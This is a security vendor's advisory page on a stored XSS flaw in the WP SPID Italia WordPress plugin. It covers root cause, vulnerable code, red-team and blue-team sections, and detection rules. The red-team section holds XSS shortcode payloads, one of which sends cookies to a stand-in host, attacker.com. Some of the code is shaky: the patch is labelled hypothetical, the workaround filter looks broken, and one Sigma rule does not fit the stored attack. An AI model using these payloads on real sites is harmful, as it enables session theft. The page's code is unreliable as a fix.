CVE-2024-11758
Executive Summary
CVE-2024-11758 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP SPID Italia WordPress plugin, affecting all versions up to and including 2.9. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcode. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute whenever a victim accesses a compromised page. This can lead to session hijacking, credential theft, or defacement within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The WP SPID Italia plugin is used for Italian public administration authentication (SPID). The attack surface is limited to authenticated users, but the stored XSS nature amplifies the risk as any visitor to the affected page becomes a target.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the plugin's integration with sensitive authentication systems (SPID) elevate the risk for targeted attacks.
Deep Dive & Mechanics
The vulnerability exists in the shortcode handler of WP SPID Italia. The plugin registers a shortcode (e.g., [wp_spid_italia]) that accepts user-supplied attributes. These attributes are not properly sanitized or escaped before being rendered in the HTML output.
Root Cause:
- The plugin uses
add_shortcode()to register the shortcode. - Inside the shortcode callback, user-supplied attributes (e.g.,
class,style, or custom attributes) are directly concatenated into HTML without escaping. - WordPress's built-in
esc_attr()orwp_kses()functions are not applied to these attributes.
Attack Flow:
- An authenticated attacker with contributor-level access creates or edits a post/page.
- The attacker inserts the vulnerable shortcode with a malicious attribute, e.g.:
[wp_spid_italia class="test\" onmouseover=\"alert('XSS')\""] - The plugin renders the shortcode, outputting the unescaped attribute into the HTML.
- When any user (including administrators) visits the page, the injected script executes in their browser context.
Impact:
- Theft of session cookies (if HttpOnly flag is not set).
- Redirection to phishing pages.
- Defacement of the WordPress site.
- Privilege escalation if an admin visits the page (e.g., creating new admin users).
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.9):
function wp_spid_italia_shortcode($atts) {
$atts = shortcode_atts(array(
'class' => '',
'style' => '',
), $atts);
// Direct output without escaping
return '<div class="' . $atts['class'] . '" style="' . $atts['style'] . '">SPID Login</div>';
}
add_shortcode('wp_spid_italia', 'wp_spid_italia_shortcode');
Patched Code (Hypothetical):
function wp_spid_italia_shortcode($atts) {
$atts = shortcode_atts(array(
'class' => '',
'style' => '',
), $atts);
// Proper escaping
$class = esc_attr($atts['class']);
$style = esc_attr($atts['style']);
return '<div class="' . $class . '" style="' . $style . '">SPID Login</div>';
}
add_shortcode('wp_spid_italia', 'wp_spid_italia_shortcode');
Key Difference: The patched version uses esc_attr() to escape attribute values before output, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with WP SPID Italia plugin <= 2.9.
- Contributor-level account or higher.
Exploit Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode with a malicious payload:
[wp_spid_italia class="test\" onfocus=\"alert(document.cookie)\" autofocus=\"autofocus\""] - Publish the post.
- When any user visits the post, the XSS triggers, displaying the victim's cookies.
Alternative Payload (Steal Cookies):
[wp_spid_italia class="test\" onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\""]
Note: No public exploit code is available for this CVE. The above is a conceptual demonstration.
Blue Team (Detection & Response)
Detection:
- Monitor for posts/pages containing the shortcode
[wp_spid_italia]with unusual attributes (e.g.,onmouseover,onfocus,onload). - Review WordPress logs for suspicious shortcode usage by contributor-level users.
Response:
- Immediately disable the WP SPID Italia plugin if no patch is available.
- Remove any malicious posts/pages containing the XSS payload.
- Rotate all user session cookies and force password resets for affected users.
Indicators of Compromise (IOCs)
File Indicators:
- Modified
wp-content/plugins/wp-spid-italia/wp-spid-italia.php(if attacker modifies plugin code). - Presence of posts/pages with shortcode containing event handlers (e.g.,
onmouseover,onfocus).
- Modified
Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
GET /steal?c=...). - Unusual referrer headers from WordPress admin pages.
- Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g.,
Log Indicators:
- WordPress debug log entries showing shortcode rendering errors.
- Web server access logs showing requests to pages with the vulnerable shortcode.
Detection Engineering
YARA Rule
rule wp_spid_italia_stored_xss {
meta:
description = "Detects stored XSS payloads in WP SPID Italia shortcode attributes"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-11758"
strings:
$shortcode = /\[wp_spid_italia[^\]]*\]/ nocase
$event_handler = /on\w+\s*=\s*["'][^"']*["']/ nocase
condition:
$shortcode and $event_handler
}
Sigma Rule
title: Stored XSS via WP SPID Italia Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts using WP SPID Italia plugin shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'wp_spid_italia'
cs-uri-query|re: 'on\w+=["\']'
condition: selection
falsepositives:
- Legitimate use of shortcode with benign attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11758 WP SPID Italia Stored XSS"; flow:to_server,established; content:"wp_spid_italia"; http_uri; pcre:"/on\w+=["'][^"']*["']/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any malicious content by scanning posts/pages for the vulnerable shortcode.
- Review user roles and revoke contributor access for suspicious accounts.
Long-term Fix:
- The vendor must release a patched version (>= 3.0) that properly escapes shortcode attributes using
esc_attr()orwp_kses(). - Apply WordPress security best practices: use
wp_kses()for HTML output, validate all user inputs.
Workaround:
- If the plugin is critical, implement a custom filter to sanitize shortcode output:
add_filter('the_content', function($content) { return preg_replace_callback('/\[wp_spid_italia[^\]]*\]/', function($matches) { // Sanitize attributes $atts = shortcode_parse_atts($matches[0]); if (isset($atts['class'])) $atts['class'] = esc_attr($atts['class']); if (isset($atts['style'])) $atts['style'] = esc_attr($atts['style']); return '[wp_spid_italia ' . http_build_query($atts, '', ' ') . ']'; }, $content); });
Valters IT
Securing WordPress ecosystems one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.